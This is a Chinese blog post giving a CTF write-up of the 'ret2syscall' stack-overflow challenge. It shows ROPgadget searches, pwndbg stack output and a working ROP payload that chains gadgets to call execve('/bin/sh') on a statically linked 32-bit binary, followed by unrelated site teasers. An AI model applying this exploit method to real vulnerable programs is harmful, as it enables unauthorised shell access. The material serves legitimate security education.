ret2syscall

博客网址:点击这里
微信:18223081347
欢迎加群聊天 :452380935

这一次我们来深入分析下更难的栈溢出题目ret2syscall

首先还是先检查下的保护

[*] '/home/pwn/桌面/题目/ROP/ret2syscall'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到开启了栈不可以执行保护,不能在栈上覆盖我们的shellcode,那去看下是不是和ret2shellcode有一个bss段可以执行呢?,我们去看下IDA反编译的结果

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

感觉没有可以使用的bss段呢,但我们打开IDA发现,它的函数窗口怎么这么多函数呀,但main函数完全没有使用很多呢,那它是不是静态链接的呀,于是使用file查看下

ROP$ file ret2syscall 
ret2syscall: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

看来是静态链接,那好办了,就是我们熟悉的ROP思想了,下面我简单说下这个思想是什么意思

首先我们知道最终是要程序执行execve("/bin/sh")这段代码,就可以得到shell,那这个函数其实就是一个系统调用,对应的反汇编代码如下

mov eax, 0xb
mov ebx, [“/bin/sh”] 
mov ecx, 0
mov edx, 0
int 0x80

因此下面这个图展示栈溢出的原理

[图片上传失败...(image-d0089c-1653547923374)]

那是不是我们溢出的栈中,只要包含这几句代码,然后让他挨着执行,那是不是类似我们执行了execve("/bin/sh")呢,而且注意到这个程序是静态链接,那肯定有很多库被引进来了,所以找到这些代码片段应该不是很难,那怎么找呢,有一个指令ROPgadget

ROP$ ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

比如我们想找到pop eax;ret这行代码,上面看到有这么多,那选0x080bb196

同样我们需要找到pop ebx;ret

ROP$ ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

看到有一行0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret,这刚好完全,那就这一条把

那还有一个,我们需要/bin/sh这个字符串呢,同样

ROPgadget --binary ret2syscall  --string "/bin/sh"
Strings information
============================================================
0x080be408 : /bin/sh

最后就是int0x80的地址,同样

ROPgadget --binary ret2syscall  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

当然这道题就是完全巧合,正常题目不可能这样,这里就是熟悉下,hhh

现在把执行execve("/bin/sh")的汇编代码完全找到了,那其实就是将这些代码挨着进行栈覆盖,让eip不断的在这几行汇编跳转执行,最终实现execve("/bin/sh")

exp怎么写呢,先直接看下payload

pop_eax_ret= 0x080bb196
pop_edx_ecx_ebx_ret= 0x0806eb90
bin_sh_adr=0x080be408
int0x80_adr=0x08049421
 
payload='A'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_adr)+p32(int0x80_adr)

首先还是用IDA看下需要覆盖多少字节

pwndbg> stack 40
00:0000│ esp  0xffffd100 —▸ 0xffffd11c ◂— 'AAAAAAAA'
01:0004│      0xffffd104 ◂— 0x0
02:0008│      0xffffd108 ◂— 0x1
03:000c│      0xffffd10c ◂— 0x0
04:0010│      0xffffd110 ◂— 0x1
05:0014│      0xffffd114 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
06:0018│      0xffffd118 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
07:001c│ eax  0xffffd11c ◂— 'AAAAAAAA'
... ↓
09:0024│      0xffffd124 —▸ 0xffffd200 —▸ 0x8049630 (__libc_csu_fini) ◂— push   ebx
0a:0028│      0xffffd128 ◂— 0x8000
0b:002c│      0xffffd12c —▸ 0x8048b36 (init_cacheinfo+86) ◂— test   eax, eax
0c:0030│      0xffffd130 ◂— 0x28 /* '(' */
0d:0034│      0xffffd134 ◂— 0x1
0e:0038│      0xffffd138 ◂— 0x16
0f:003c│      0xffffd13c ◂— 0x8000
10:0040│      0xffffd140 —▸ 0x80da404 (__EH_FRAME_BEGIN__) ◂— adc    al, 0
11:0044│      0xffffd144 —▸ 0x80eaf84 (object) ◂— 0xffffffff
12:0048│      0xffffd148 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
13:004c│      0xffffd14c ◂— 0x1
14:0050│      0xffffd150 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
15:0054│      0xffffd154 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
16:0058│      0xffffd158 ◂— 0x1
17:005c│      0xffffd15c —▸ 0x8049612 (__libc_csu_init+130) ◂— add    ebp, 1
18:0060│      0xffffd160 ◂— 0x1
19:0064│      0xffffd164 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
1a:0068│      0xffffd168 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
1b:006c│      0xffffd16c ◂— 0x2
1c:0070│      0xffffd170 —▸ 0x80ea078 (__exit_funcs) —▸ 0x80eb2a0 (initial) ◂— 0x0
1d:0074│      0xffffd174 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
1e:0078│      0xffffd178 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
1f:007c│      0xffffd17c —▸ 0x80481a8 (_init) ◂— push   ebx
20:0080│      0xffffd180 ◂— 0x0
21:0084│      0xffffd184 —▸ 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8067b10 (__stpcpy_sse2) ◂— mov    edx, dword ptr [esp + 4]
22:0088│ ebp  0xffffd188 —▸ 0x8049630 (__libc_csu_fini) ◂— push   ebx
23:008c│      0xffffd18c —▸ 0x804907a (__libc_start_main+458) ◂— mov    dword ptr [esp], eax
24:0090│      0xffffd190 ◂— 0x1
25:0094│      0xffffd194 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
26:0098│      0xffffd198 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'

首先需要覆盖0xffffd18c-0xffffd11c=112个字节,然后就开始覆盖返回地址,我们要按照这个过程进行覆盖

[图片上传失败...(image-d5e804-1653547923374)]

那容易了呀,那不就是

payload='A'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_adr)+p32(int0x80_adr)

有可能很多小伙伴不知道为什么要pop eax;ret这样的,首先return addresspop eax;ret的地址,那么首先就是执行pop eax;ret,分2步,第一步pop eax,那么就把0xbeax,然后ret,就会到pop ebx;ret这一个地方,那么后面就一样了,这里大家可以画一个动态图,自己好好理解下

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,142评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,298评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,068评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,081评论 1 291
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,099评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,071评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,990评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,832评论 0 273
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,274评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,488评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,649评论 1 347
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,378评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,979评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,625评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,796评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,643评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,545评论 2 352

推荐阅读更多精彩内容

  • 原理 ret2syscall,即控制程序执行系统调用,获取 shell 0x1 拿道题后检测程序开启的保护 che...
    T_Hunter阅读 2,314评论 0 1
  • wiki上的链接https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sta...
    杰_74阅读 930评论 0 0
  • ret2syscall即控制程序执行系统调用,获取shell 查看一下程序保护 程序放进IDA中 发现gets函数...
    hope_9382阅读 1,106评论 0 0
  • ret2syscall 再来check一下保护,发现开了NX 这次我先看一下应该填充的字符串长度为多少,爆出来发现...
    YeeZi_阅读 1,104评论 0 0
  • ctf-wikihttps://ctf-wiki.github.io/ctf-wiki/pwn/linux/sta...
    y1deer阅读 295评论 0 0